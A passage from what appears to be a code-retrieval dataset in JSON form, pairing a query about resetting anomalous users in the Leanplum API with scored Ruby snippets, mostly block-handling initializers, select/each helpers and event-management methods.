"text": "def select\n return to_enum(:select) unless block_given?\n self.class.new(@ary.select { |item| yield item })\n end",
"title": ""
},
{
"docid": "452bedf932ca4701013283bf4ba7ea1c",
"score": "0.54245913",
"text": "def each(&block)\n return to_enum unless block_given?\n choices.each(&block)\n end",
"title": ""
},
{
"docid": "3c0f7793f21e9e9e814a164704dbf106",
"score": "0.54045063",
"text": "def define(&block)\n if block && block.arity > 0\n yield self\n elsif block\n self.instance_eval(&block)\n end\n self\n end",
"title": ""
},
{
"docid": "c2654d597bf7006f4219247edabb33de",
"score": "0.5388911",
"text": "def choice_branch(index, name=\"\", &block)\n name = @choices[index]\n add_command(402, [index, name])\n process_block(&block)\n end",
"title": ""
},
{
"docid": "fa878c84e9a82a43a0f75d3f9eab2fd7",
"score": "0.5387588",
"text": "def initialize(&block)\n instance_eval(&block) if block_given?\n end",
"title": ""
},
{
"docid": "fa878c84e9a82a43a0f75d3f9eab2fd7",
"score": "0.5387588",
"text": "def initialize(&block)\n instance_eval(&block) if block_given?\n end",
"title": ""
},
{
"docid": "cb5fd9ce7e7bcb024d7cc561e2d09597",
"score": "0.53669345",
"text": "def builder opts = { }, &blk\n b = Builder.new(opts)\n if block_given?\n b.statemachine(self, opts, &blk)\n self\n else\n b\n end\n end",
"title": ""
},
{
"docid": "fead630a5521e73fb9878ca91f8c213c",
"score": "0.53610504",
"text": "def initialize(&block)\n @required = []\n @optional = []\n @registered = {}\n @available = {}\n @missing = {}\n @errors = {}\n @satisfied = true\n @has = HasNeedDSL.new(self)\n @need = @has\n\n DefinitionDSL.new(self, &block) if block\n end",
"title": ""
},
{
"docid": "c7e3f97a239e276300950f88709f771d",
"score": "0.5360186",
"text": "def initialize(registry, name, &block)\n @registry = registry\n @name = name\n @canonicalizer = DEFAULT_CANONICALIZER\n @chooser = DEFAULT_CHOOSER\n instance_exec(&block)\n end",
"title": ""
},
{
"docid": "bcdda1715363f05d42cd8cbba3ef2a2f",
"score": "0.5343663",
"text": "def new(&block)\n Context.new(&block)\n end",
"title": ""
},
{
"docid": "dfd8bcb953f92dc69284aa356a3a3448",
"score": "0.53250885",
"text": "def recipe(arg = nil, &block)\n arg ||= block\n set_or_return(\n :recipe,\n arg,\n kind_of: [Proc],\n )\nend",
"title": ""
},
{
"docid": "5e3300edf2e5bdb2c39ecef13b4a5b89",
"score": "0.5315162",
"text": "def choice *parsers\n proc do |state|\n result = nil\n parsers.find do |pars|\n result = pars.to_parser[state]\n end\n !result.nil? ? result : nil\n end\n end",
"title": ""
},
{
"docid": "feadde7bcc216ff569cd475b6c212d4a",
"score": "0.5314474",
"text": "def initialize( &block )\n # set some defaults\n group( :user )\n opts( \"\" )\n \n self.instance_exec( &block ) if block_given?\n self # explicitly return. Thought that wasn't necessary, but...\n end",
"title": ""
},
{
"docid": "68c0b0c9ce81c5e6809b0639c5dd9f11",
"score": "0.5314404",
"text": "def new(*args, &block)\n implementation(:auto).new(*args, &block)\n end",
"title": ""
},
{
"docid": "ea0077c310915c11c908a97d97c326eb",
"score": "0.5313124",
"text": "def draw(&block)\n Class.new do\n include DSL::OptParsing\n include DSL::Configurable\n end.new.instance_eval(&block)\n end",
"title": ""
},
{
"docid": "20b14ff659f4322a2d0351ffbdd47622",
"score": "0.53125554",
"text": "def give_user_choices\n @choices.each do |choice|\n @xml.Say(\"Press #{choice.digits} if you would like to \")\n choice.view_block.call\n end\n end",
"title": ""
},
{
"docid": "20b14ff659f4322a2d0351ffbdd47622",
"score": "0.53125554",
"text": "def give_user_choices\n @choices.each do |choice|\n @xml.Say(\"Press #{choice.digits} if you would like to \")\n choice.view_block.call\n end\n end",
"title": ""
},
{
"docid": "7a96b5d5c76b8f4158c67156f5fa29fb",
"score": "0.53111374",
"text": "def initialize_from_builder(&block)\n #\n end",
"title": ""
},
{
"docid": "dd0029b5399a8fb37129b1b239b4f38e",
"score": "0.5304945",
"text": "def form(*a, &block)\n if block\n capture(block){super}\n else\n super\n end\n end",
"title": ""
},
{
"docid": "dd0029b5399a8fb37129b1b239b4f38e",
"score": "0.5304945",
"text": "def form(*a, &block)\n if block\n capture(block){super}\n else\n super\n end\n end",
"title": ""
},
{
"docid": "c99abb97d68d491b65111c8fd590c3fa",
"score": "0.53013813",
"text": "def create(args = {}, &block)\n @args = args.keys # FIXME - values should be used for validation (and autoref?)\n @block = block\n end",
"title": ""
},
{
"docid": "24532e0c129b41c450e5edf838c1c5d5",
"score": "0.52881104",
"text": "def option (name,*list,&block); define(%s{options}, Switch, name, list, block) end",
"title": ""
},
{
"docid": "9568b48a368d1d83d16fdeabc3f1916d",
"score": "0.52856976",
"text": "def initialize(label, &block)\n @_label = label\n @_declarative_item_list = []\n @_configuration_list = []\n if block_given? then\n self.instance_eval(&block)\n end\n end",
"title": ""
},
{
"docid": "f8411e0300104ebf2573f3b23fc041a2",
"score": "0.52835166",
"text": "def initialize(args, block, ret)\n # First check argument types have form (any number of required\n # or optional args, at most one vararg, any number of named arguments)\n state = :required\n args.each { |arg|\n arg = arg.type if arg.instance_of? RDL::Type::AnnotatedArgType\n case arg\n when OptionalType\n raise \"Optional arguments not allowed after varargs\" if state == :vararg\n raise \"Optional arguments not allowed after named arguments\" if state == :hash\n state = :optional\n when VarargType\n raise \"Multiple varargs not allowed\" if state == :vararg\n raise \"Varargs not allowed after named arguments\" if state == :hash\n state = :vararg\n when FiniteHashType\n raise \"Only one set of named arguments allowed\" if state == :hash\n state = :hash\n else\n raise \"Attempt to create method type with non-type arg\" unless arg.is_a? Type\n# raise \"Required arguments not allowed after varargs\" if state == :vararg # actually they are allowed!\n raise \"Required arguments not allowed after named arguments\" if state == :hash\n end\n }\n @args = *args\n\n if block.instance_of? OptionalType\n raise \"Block must be MethodType\" unless block.type.is_a? MethodType\n else\n raise \"Block must be MethodType\" unless (not block) or (block.instance_of? MethodType)\n end\n @block = block\n\n raise \"Attempt to create method type with non-type ret\" unless ret.is_a? Type\n @ret = ret\n\n super()\n end",
"title": ""
},
{
"docid": "f80354410cae7d13e8aef0f5947aad23",
"score": "0.52828026",
"text": "def select(&block)\n self.class.create(each.select(&block).to_h)\n end",
"title": ""
},
{
"docid": "5ec1aba1629bbc7dbb1d75754e7a1f99",
"score": "0.52702665",
"text": "def choice_wrapping(html_options, &block)\n template.capture(&block)\n end",
"title": ""
},
{
"docid": "e332dfe2212044ed8901ed23387230e6",
"score": "0.52601904",
"text": "def call(question, possibilities, &block)\n choices(possibilities)\n @question = question\n block.call(self) if block\n setup_defaults\n render\n end",
"title": ""
},
{
"docid": "a46bf32060bbb23e15e368ce8bdd5864",
"score": "0.5254915",
"text": "def select(*args, &block)\n return to_enum(:select) unless block_given?\n dup.tap { |hash| hash.select!(*args, &block) }\n end",
"title": ""
},
{
"docid": "55c1a19275d674e060a258ad74cca722",
"score": "0.52544606",
"text": "def new(*args, &block)\n StateMachine.new(*args, &block)\n end",
"title": ""
},
{
"docid": "dfa4535e49487fc43dab70e4e071d03e",
"score": "0.5248711",
"text": "def initialize(options={}, &block)\n @options = options\n @block = block\n end",
"title": ""
},
{
"docid": "0864b249a3d196086c8a62b38766af93",
"score": "0.5245998",
"text": "def initialize(args, block, ret)\n @args = args\n raise \"block must be MethodType\" unless (not block) or (block.instance_of? MethodType)\n @block = block\n @ret = ret\n super()\n end",
"title": ""
},
{
"docid": "d8bddf4501c0ab461df54ba40c2ba18f",
"score": "0.52433324",
"text": "def initialize(&block)\n yield self if block_given?\n end",
"title": ""
},
{
"docid": "d8bddf4501c0ab461df54ba40c2ba18f",
"score": "0.52433324",
"text": "def initialize(&block)\n yield self if block_given?\n end",
"title": ""
},
{
"docid": "2b67d84692f4a3890cd1d2d5f1f7aa2c",
"score": "0.5242573",
"text": "def initialize(dsl, parent, blk)\n @dsl = dsl\n @parent = parent\n @blk = blk\n @real = ::Swt::Widgets::Combo.new(@parent.real,\n ::Swt::SWT::READ_ONLY)\n end",
"title": ""
},
{
"docid": "4cfeb848d9cbf18e8282cd9974466f4d",
"score": "0.52417",
"text": "def initialize(block)\n # Initialize the sensitivity list.\n @events = []\n # Check and set the block.\n return unless block # No block case\n # There is a block\n self.block = block\n # unless block.is_a?(Block)\n # raise AnyError, \"Invalid class for a block: #{block.class}.\"\n # end\n # # Time blocks are only supported in Time Behaviors.\n # if block.is_a?(TimeBlock)\n # raise AnyError, \"Timed blocks are not supported in common behaviors.\"\n # end\n # # Set the block's parent.\n # block.parent = self\n # # And set the block\n # @block = block\n end",
"title": ""
},
{
"docid": "3ed20063a63aaf86fbcfe25223460562",
"score": "0.5239146",
"text": "def parser(\n &block # (value: typeof prior parser) => any\n )\n Arg.new(\n @name,\n @parsers + [block],\n @value,\n )\n end",
"title": ""
},
{
"docid": "bbcc3c34ff4ff2aa4f10cd2d73a491f4",
"score": "0.52358437",
"text": "def specifying(opts = {}, &block)\n specification = lambda { with(opts) }\n block ? (yield specification) : specification\n end",
"title": ""
},
{
"docid": "04bb61e00b1bf548ade99e5eaf7ad718",
"score": "0.5225094",
"text": "def initialize(name, type=:Normal, &block)\r\n @name, @type, @block = name, type, block\r\n end",
"title": ""
},
{
"docid": "ec0d2d07690e20be51d1067cb7e08e6b",
"score": "0.5219637",
"text": "def initialize(&block)\n @block = block\n end",
"title": ""
},
{
"docid": "87b242deae411276d0f889d843883c03",
"score": "0.52157164",
"text": "def new_value(name, *args, &block)\n option(name).new_value(*args, &block)\n end",
"title": ""
},
{
"docid": "58a392a6682ad25a5c2962b39f3d9958",
"score": "0.52088785",
"text": "def choice_wrapping(html_options, &block)\n\n\n\n\n\n\n\n template.capture(&block)\n\n\n\n\n\n\n\n end",
"title": ""
},
{
"docid": "d53c576296d543df5d9bbbb41fb0f5c1",
"score": "0.5208114",
"text": "def call(block)\n fail ArgumentError unless block\n\n block.call(self) if block.arity>0\n instance_eval(&block) if block.arity == 0\n end",
"title": ""
},
{
"docid": "b4aa073ae27ae68454e3201b1bf020eb",
"score": "0.52053267",
"text": "def initialize(&block)\n instance_eval(&block) if block_given?\n end",
"title": ""
},
{
"docid": "b4aa073ae27ae68454e3201b1bf020eb",
"score": "0.52053267",
"text": "def initialize(&block)\n instance_eval(&block) if block_given?\n end",
"title": ""
},
{
"docid": "1d431f9fe4a711fe219103dc8a46bbcb",
"score": "0.5199088",
"text": "def each_node(&ruby_block)\n # No ruby block? Return an enumerator.\n return to_enum(:each_node) unless ruby_block\n # A ruby block? Apply it on the children.\n ruby_block.call(@select)\n @choices.each(&ruby_block)\n end",
"title": ""
},
{
"docid": "ee7690f61681e25f6099e81afcb4a379",
"score": "0.519894",
"text": "def dsl(cls = nil, *a, &b)\n mname = @mname\n \n raise \"Need a class or block\" unless cls or b\n \n unless b.nil?\n cls = Class.new(BasicObject) if cls.nil?\n cls.class_eval do include Kernel end\n Lang.new(cls).instance_exec(*a, &b)\n end\n \n action do |*args, &blk|\n c = cls.new(*a)\n c.instance_exec(*args, &blk)\n c\n end\n end",
"title": ""
},
{
"docid": "4e848bdc33c9dc6e1be5364ce20b9069",
"score": "0.51886654",
"text": "def construct name, &block\n\tapp_context_klass = DSL.const_get(@context_name)\n\tConstruct.new(name, app_context_klass, &block) #.instance_eval &block\n end",
"title": ""
},
{
"docid": "f613ed2cd41758b4e7da4082adf50c55",
"score": "0.51870793",
"text": "def initialize(selector, &block)\n self.selector = selector\n @event_blocks = block.nil? ? {} : {:init => block}\n BehaviorRepository.add self\n self\n end",
"title": ""
},
{
"docid": "ea2d1214bd61c75ee4a71e80af58f5b3",
"score": "0.518513",
"text": "def initialize(name, &block)\n @name = name\n @vegetales = []\n @frutas = []\n @granos = []\n @proteinas = []\n @aceites = []\n\n if block_given?\n if block.arity == 1\n yield self\n else\n instance_eval(&block)\n end\n end\n end",
"title": ""
},
{
"docid": "c98388edef84a08c93ba640917fbbd81",
"score": "0.5183529",
"text": "def select(method, choices = nil, options = {}, html_options = {}, &block)\n choices = instance_exec(&choices) if choices.is_a?(Proc)\n super\n end",
"title": ""
},
{
"docid": "caee8f00de750c484cc5f2189a191bc8",
"score": "0.5181272",
"text": "def initialize(handle, &block)\n @handle = handle\n @params = {}\n\n if block_given?\n if block.arity == 1\n yield self\n else\n instance_eval &block\n end\n end\n end",
"title": ""
},
{
"docid": "d64f36cdbe00d12b6b5e8182df778031",
"score": "0.51767224",
"text": "def init_with_yield &block\n new.tap do |t|\n t.yield_dictionary &block\n end\n end",
"title": ""
},
{
"docid": "c2d713f6a82ded6e348bb97b2373cfe1",
"score": "0.5172078",
"text": "def yield_or_eval &block\n case block.arity\n # ruby bug for -1\n when 0, -1 then instance_eval(&block)\n when 1 then yield(self)\n else raise ArgumentError, \"too many arguments required by block\"\n end\n end",
"title": ""
},
{
"docid": "4250fa7ff82124c0277d42b1089920e7",
"score": "0.51719856",
"text": "def recipe(arg=nil, &block)\n arg ||= block\n set_or_return(\n :recipe,\n arg,\n :kind_of => [ Proc ]\n )\nend",
"title": ""
},
{
"docid": "78bd0a439ff12529b2c50f01b0aad67a",
"score": "0.51716316",
"text": "def choose(key, choices, required: false, yield_anyway: false, give_val: false, info: {})\n return false if choices.empty?\n\n extra_keys = required ? [] : [:none]\n total_options = choices + extra_keys\n choice = pick_option(key, total_options, info: info)\n selected = total_options[choice]\n\n unless yield_anyway\n return false if selected == :none\n end\n\n res = yield(selected) if block_given?\n give_val ? selected : res\n end",
"title": ""
},
{
"docid": "2db71a9fd99530e6d5f5091475b932b5",
"score": "0.51630616",
"text": "def initialize(nombre, &block)\n @nombre = nombre\n @desc = ''\n @componentes = []\n @precio = 0.0\n\n return unless block_given?\n\n if block.arity == 1\n yield self\n else\n instance_eval(&block)\n end\n end",
"title": ""
},
{
"docid": "6b4e36aac77ea53d580d248278459a58",
"score": "0.51611215",
"text": "def initialize(args, &block)\n @spec = args.fetch(:spec) \n @desc = args[:desc] \n @block = block\n @name = self.class.spec_to_name(spec)\n raise SyntaxError, \"invalid specification '#{spec}'\" if name.nil?\n post_initialize(args)\n end",
"title": ""
},
{
"docid": "810519c5f2df1679b26d2e385614134b",
"score": "0.5159581",
"text": "def |(parslet)\n self.class.new(*@alternatives + [parslet])\n end",
"title": ""
},
{
"docid": "62f5442f362b3b3bd420de008cf47365",
"score": "0.5155404",
"text": "def initialize\n @options = {}\n @arguments = []\n yield self if block_given?\n end",
"title": ""
},
{
"docid": "fc41a8015a439a676ed5e3512d27249f",
"score": "0.5151973",
"text": "def button_factory text, image, options, block\n\n ensure_section\n\n x = ButtonOptions.new(context, text, image, options, &block)\n\n but = yield(x)\n\n context[x[:name].to_s] = but if x[:name]\n \r\n context.add_child but\n \n add but\n context << but\n\r\n but\r\n \n end",
"title": ""
},
{
"docid": "7be488689dbad1513ad625bc4298318d",
"score": "0.51476866",
"text": "def choose_many(prompt, validation, opts={}, &block)\n choices = ask(prompt, opts).split(opts[:split])\n if choices.all? {|c| valid_choice?(validation, c)}\n block_given? ? yield(choices) : choices\n else\n say_warning 'One or more choices are unknown!'\n choose_many(prompt, validation, opts, &block)\n end\n end",
"title": ""
},
{
"docid": "3fba310a99edc0f93d6a6f3d22b2c0b8",
"score": "0.5141603",
"text": "def specify(*all_args, &block); end",
"title": ""
}
] |
f6adc8757658187f2d284aece46e6a2f | If you pass old events OR users with old date attributes (i.e. create_date for an old users), leanplum will mark them 'anomalous' and exclude them from your data set. Calling this method after you pass old events will fix that for all events for the specified user_id For some reason this API feature requires the developer key | [
{
"docid": "bc3f88a96863f97b95e6310a26293a56",
"score": "0.61283964",
"text": "def reset_anomalous_users(user_ids)\n user_ids = Array.wrap(user_ids)\n request_data = user_ids.map { |user_id| { action: 'setUserAttributes', resetAnomalies: true, userId: user_id } }\n development_connection.multi(request_data)\n end",
"title": ""
}
] | [
{
"docid": "5bbb5d08c959d30e400271589155376c",
"score": "0.66971976",
"text": "def force_anomalous_override(responses, events)\n user_ids_to_reset = []\n\n responses.each_with_index do |indicator, i|\n # This condition should be:\n # if indicator['warning'] && indicator['warning']['message'] =~ /Past event detected/i\n # but it has to be:\n if indicator['warning']\n # Leanplum does not return their warnings in order!!! So we just have\n # to reset everyone who had any events. This is what the code should be:\n # user_ids_to_reset << request_data[i]['userId']\n\n # This is what it has to be:\n user_ids_to_reset = events.map { |e| e[:user_id] }.uniq\n end\n end\n\n unless user_ids_to_reset.empty?\n LeanplumApi.configuration.logger.debug(\"Resetting anomalous user ids: #{user_ids_to_reset}\")\n reset_anomalous_users(user_ids_to_reset)\n end\n end",
"title": ""
},
{
"docid": "7bfca8a49dfbb738c9b2b8ac393f2144",
"score": "0.6207645",
"text": "def delete_old_events_for_user\n number_of_events = OpenWorkfileEvent.where(:user_id => self.user_id).count\n\n if number_of_events > EVENT_LIMIT\n oldest_event_id = OpenWorkfileEvent.where('user_id = ?', user_id).order('created_at DESC').limit(EVENT_LIMIT).last.id\n old_events = OpenWorkfileEvent.where(\"id < ? AND user_id = ?\", oldest_event_id, self.user_id)\n old_events.destroy_all\n end\n end",
"title": ""
},
{
"docid": "d6807944c646b07c55cbd18fbad64218",
"score": "0.6102605",
"text": "def track_multi(events = nil, user_attributes = nil, options = {})\n events = Array.wrap(events)\n user_attributes = Array.wrap(user_attributes)\n\n request_data = user_attributes.map { |h| build_user_attributes_hash(h) }\n request_data += events.map { |h| build_event_attributes_hash(h, options) }\n response = production_connection.multi(request_data).body['response']\n\n if options[:force_anomalous_override]\n user_ids_to_reset = []\n response.each_with_index do |indicator, i|\n if indicator['warning'] && indicator['warning']['message'] =~ /Anomaly detected/i\n # Leanplum does not return their warnings in order!!! So we just have to reset everyone who had any events.\n # This is what the code should be:\n # user_ids_to_reset << request_data[i]['userId']\n\n # This is what it has to be:\n user_ids_to_reset = events.map { |e| e[:user_id] }.uniq\n end\n end\n\n unless user_ids_to_reset.empty?\n LeanplumApi.configuration.logger.debug(\"Resetting anomalous user ids: #{user_ids_to_reset}\")\n reset_anomalous_users(user_ids_to_reset)\n end\n end\n end",
"title": ""
},
{
"docid": "31d6e95e6196ec9c72cfdb9ace768751",
"score": "0.5974998",
"text": "def reset_anomalous_users(user_ids)\n user_ids = Array.wrap(user_ids)\n request_data = user_ids.map { |user_id| { action: SET_USER_ATTRIBUTES, resetAnomalies: true, userId: user_id } }\n development_connection.multi(request_data)\n end",
"title": ""
},
{
"docid": "1312fbe0af14ef0565c04497a9933b97",
"score": "0.58088976",
"text": "def update!(**args)\n @user_events = args[:user_events] if args.key?(:user_events)\n end",
"title": ""
},
{
"docid": "1312fbe0af14ef0565c04497a9933b97",
"score": "0.58088976",
"text": "def update!(**args)\n @user_events = args[:user_events] if args.key?(:user_events)\n end",
"title": ""
},
{
"docid": "82850965a175a8166cbd080b9ef2f1cc",
"score": "0.5635272",
"text": "def update_notable_attendees(events, users)\n all_rsvps = get_rsvp_yesses events.map(&:event_id)\n\n events.each do |m|\n rsvps = all_rsvps[m.event_id] || []\n m.notable_attendees = rsvps.select { |r| users.include? r.id }\n puts \"verbose: #{m.event_id} has #{rsvps.count} attendees (#{m.notable_attendees} notable)\" if @verbose\n end\n end",
"title": ""
},
{
"docid": "435cba067899bc242eb01db6ffba7bb9",
"score": "0.56310105",
"text": "def events\n if param_context(:user_id).present? # asking about somebody else\n param_context(:my_events, false) # unset this\n @user = User.find param_context(:user_id)\n unless @user.present? && (current_user&.id == @user.id || @user.show_attendance || current_user&.admin?)\n # You can't see it because: it doesn't exist or it's not you or the user says no, or you're not admin\n flash[:notice] = \"No information available.\"\n redirect_to root_path and return\n end\n elsif !current_user.present? # asking about self but not logged in\n flash[:notice] = \"Log in to see a list of the events you've attended.\"\n redirect_to root_path and return # non-authenticated user can't ask to see their own events\n else # asking about self when logged in\n param_context(:my_events, true) # set this for any future chart requests\n logger.debug \"BEFORE unset user id param context\"\n param_context(:user_id, 'blank') # unset this\n logger.debug \"AFTER unset user id param context\"\n @user = current_user\n end\n\n @conferences = @user.conferences\n @conferences = @conferences.where(\"conferences.event_type ILIKE ?\", param_context(:event_type)) if param_context(:event_type).present?\n @conferences = @conferences.order(Arel.sql('start_date DESC'))\n end",
"title": ""
},
{
"docid": "fad147e929b0640dab62578a06ba2d62",
"score": "0.56180334",
"text": "def fix_dates(event)\n if event['request_time']\n event['request_time'] = event['request_time'].iso8601\n end\n if event['click_time']\n event['click_time'] = event['click_time'].iso8601\n end\n end",
"title": ""
},
{
"docid": "3ddbb4831729fc39ef5cd9e95205a59c",
"score": "0.5585496",
"text": "def before_save_event\n self.event_id = self.event_activity.event_id\n self.event.users << User.find(self.user_id) unless self.event.user_ids.include?(self.user_id)\n end",
"title": ""
},
{
"docid": "d9d5b02cb059b6457ada1294423f6f6c",
"score": "0.55521095",
"text": "def avoid_duplicate_events\n if self.nigh_events.exists?\n errors.add(:date, \"Event (for #{date}, #{title}) occurs too close to other events.\")\n end\n end",
"title": ""
},
{
"docid": "0b3f940df84565a6971242ba0cbf910f",
"score": "0.55459684",
"text": "def mark_unseen_events!(faculty_semester, seen_event_ids, event_type)\n Event.where(\n faculty: faculty_semester.faculty,\n semester: faculty_semester.code,\n deleted: false,\n event_type: event_type\n ).exclude(id: seen_event_ids.to_a)\n .update(deleted: true, updated_at: Sequel.function(:NOW))\n end",
"title": ""
},
{
"docid": "3f6dc387baa3c37afcde835e107db0b0",
"score": "0.5520182",
"text": "def update_rsvp_of_overlapping_events!\n event_ids = Event.includes(:event_users)\n .incomplete\n .between_start_and_end_datetime(\n event.start_datetime,\n event.end_datetime\n ).where(event_users: {user_id: user_id,\n rsvp: EventUser.rsvps[:yes]})\n .pluck(:id)\n\n EventUser.accepted_rsvps.of_users(user_id).with_event_ids(event_ids)\n .find_each(&:no!)\n end",
"title": ""
},
{
"docid": "2ded689e6a3f67cbdb86f8af8cb34612",
"score": "0.54797935",
"text": "def user_events(user)\n event_data = @connection.get(\"/repos/#{user}/events\", params)\n GitHubApi::Event.new_with_all_data(self, event_data)\n rescue RestClient::ResourceNotFound\n raise NotFound, \"The events #{user}/#{repo_name}/events/#{id} do not exist or are not visible to the user.\"\n end",
"title": ""
},
{
"docid": "35ab233b41130af96ee16e6ffa8270ae",
"score": "0.5448995",
"text": "def update\n @event = Event.find(params[:id])\n @event_temp = current_user.events.build(params[:event])\n unless params[:user_ids].nil?\n @users_ids = params[:user_ids]\n @users_ids.each do |usr_id|\n @evt_dts_u = @event.eventdetails.find_by_user_id(usr_id)\n if @evt_dts_u.nil?\n \n else\n @evt_dts_u.is_admin=true\n @evt_dts_u.save\n \n end\n end\n end\n unless params[:group_ids].nil?\n @groups_ids = params[:group_ids]\n @groups_ids.each do |grp_id|\n @evt_dts_g=@event.eventdetails.find_by_group_id(grp_id)\n @evt_dts_g.is_admin=true\n @evt_dts_g.save\n end\n end\n\n @ed_user = @event_temp.user_ids\n @ed_group = @event_temp.group_ids\n unless @ed_user.nil? \n @ed_user.each do |user_id|\n @user_ed = Eventdetail.new\n @user_ed.is_admin=false\n if @event.eventdetails.pluck(:user_id).detect {|n| n==user_id}.nil?\n @user_ed.user = User.find(user_id)\n @event.eventdetails << @user_ed\n end\n end\n end\n unless @ed_group.nil? \n @ed_group.each do |group_id|\n if @event.eventdetails.pluck(:group_id).detect {|n| n==group_id}.nil?\n @grp = Group.find(group_id)\n @grp.users.each do |user|\n @group_ed = Eventdetail.new\n @group_ed.is_admin = false\n @group_ed.group = @grp\n @group_ed.user = user\n @event.eventdetails << @group_ed\n end\n end\n end\n end\n @event.update_attributes(params[:event])\n @ad_eds = @event.eventdetails.where(is_admin: true )\n @non_ad_eds = @event.eventdetails.where(is_admin: false)\n @groups = @non_ad_eds.pluck(:group_id)\n @users = @non_ad_eds.pluck(:user_id)\n @admin_groups = @ad_eds.pluck(:group_id)\n @admin_users = @ad_eds.pluck(:user_id)\n @inv_groups = Group.where(['id IN (?)', @groups])\n @ad_groups = Group.where(['id IN (?)', @admin_groups])\n @inv_users = User.where(['id IN (?)', @users])\n @ad_users = User.where(['id IN (?)', @admin_users])\n @ur_ids = @event.eventdetails.pluck(:user_id)\n @urs = User.where(['id IN (?)', @ur_ids])\n @users = @urs.where(\"name like ?\", \"%#{params[:q]}%\")\n @users_pp = []\n @users.each do |user|\n user[:profile_pic] = gravatar_for_url(user, size: 40)\n @users_pp << user\n end\n\n @grp_ids = @event.eventdetails.pluck(:group_id)\n @grps = Group.where(['id IN (?)', @grp_ids])\n @groups = @grps.where(\"name like ?\", \"%#{params[:q]}%\")\n @groups_pp = []\n @groups.each do |group|\n group[:profile_pic] = group.photo.pic_url(:smaller)\n @groups_pp << group\n end \n @mod_users = @inv_users\n @grps.each do |group|\n # @mod_users |= group.users\n end\n @is_event = true\n respond_to do |format|\n if @event.update_attributes(params[:event])\n getNotifiableUsers(Objecttypeenum::EVENT, @event, nil, nil, Uc_enum::UPDATED)\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n format.js {}\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n format.js {}\n end\n end\n end",
"title": ""
},
{
"docid": "513cb6d70042b014a591b9d9c58cd106",
"score": "0.5439985",
"text": "def create\n @event = Event.new(event_params)\n user_ids = []\n respond_to do |format|\n if @event.save\n team_event_params.each do |te|\n if te.to_f > 0\n\n @team_event_entry = Teamevent.new\n @team_event_entry.event_id = @event.id\n @team_event_entry.team_id = te\n @team_event_entry.save\n\n @team_users = Teamuser.select(\"user_id\").where(:team_id => te)\n\n\n\n @team_users.each do |tu|\n unless user_ids.include? tu.user_id.to_s\n user_ids.push(tu.user_id.to_s)\n end\n end\n end\n end\n\n event_user_params.each do |te|\n if te.to_i > 0\n unless user_ids.include? te\n user_ids.push(te)\n end\n end\n end\n\n\n\n user_ids.each do |ui|\n @event_user_entry = Eventuser.new\n @event_user_entry.event_id = @event.id\n @event_user_entry.user_id = ui\n @event_user_entry.status = 0 # 0-pend , 1-accept , 2 - reject , 3 - event expired\n @event_user_entry.save\n end\n\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "77958d55694ddc77a9658a8f46a5e517",
"score": "0.5353364",
"text": "def correct_user\n @event = Event.find(params[:id])\n unless @event.user_id == session[:user_id]\n current_date_time = Time.now.strftime(\"%Y-%m-%d %H:%M\")\n if @event.start_date_time < current_date_time\n \tflash[:danger] = \"you can only edit the future events\"\n \tredirect_to(root_url)\n else\n \tflash[:danger] = \"you can only edit your events\"\n \tredirect_to(root_url) \n end\n end\n end",
"title": ""
},
{
"docid": "61b90c209d94a94b9713e94ba8f0756d",
"score": "0.5350907",
"text": "def all_events(user_id,future=false)\n event_set = Set.new\n \n # Get user's individual events\n events = CalendarEvent.where(host: user_id).find_each.to_set\n events.each do |event|\n if (in_future(event) and future) or not future\n event_set.add(event)\n end\n end\n \n \n user = User.find(user_id)\n\n # Get group events this user is associated with\n group_event_set = Set.new\n user.group_ids.each do |group_id| \n if group_id == nil\n next\n end\n \n group_events = CalendarEvent.where(:group => group_id).find_each \n \n group_events.each do |event|\n if (in_future(event) and future) or not future\n group_event_set.add(event)\n end\n end\n\n end \n \n event_set.merge(group_event_set)\n \n return event_set\n end",
"title": ""
},
{
"docid": "f8902e2fa1fa2283d3403eb79f02c8bc",
"score": "0.53309536",
"text": "def v0dot5_fix_bad_events( sesh)\n events = SessionEvent.where( session_id: sesh.id)\n events.each do | each_event |\n if v0dot5_is_event_bad?( each_event)\n each_event.set_interval_num( sesh)\n each_event.save\n end\n end\n end",
"title": ""
},
{
"docid": "5d134fc2593d6f752cd6ab621a02e22d",
"score": "0.53286606",
"text": "def set_events_user\n @events_user = EventsUser.where(user_id: params[:id])\n end",
"title": ""
},
{
"docid": "a7286957b1a1c6cf9670ffd949babc3e",
"score": "0.5323122",
"text": "def updateShowEvent\n result = Hash.new\n result['status'] = true\n begin # try\n result['status'] = Event.where(id: params[:id])\n .update_all('events.show = NOT events.show, updated_by = ' + $user_id.to_s + ', updated_at = \\'' + Time.now.to_formatted_s(:db) + '\\'')\n rescue # catch\n result['status'] = false\n result['error'] = \"#{$!}\"\n ensure # finally\n render json: result\n end\n end",
"title": ""
},
{
"docid": "c301b8711be177a2da0b8691f82f5e98",
"score": "0.5311611",
"text": "def no_attend!(_user_id)\n l = event_attends.where(user_id: _user_id)\n if l.any?\n l.destroy_all\n else\n errors.add(:base, 'You are not attending to this event.') && false\n end\n end",
"title": ""
},
{
"docid": "10cbf146ef6e03d104a6fae21cf4b421",
"score": "0.5309609",
"text": "def create\n @user = User.find_by_name(params[:event][:user_id])\n @event = @user.events.create(params[:event].except(:user_id))\n @event.user_id = @user.id\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "28c8af9363b9837e23ed7c5c79a6c5cd",
"score": "0.5299792",
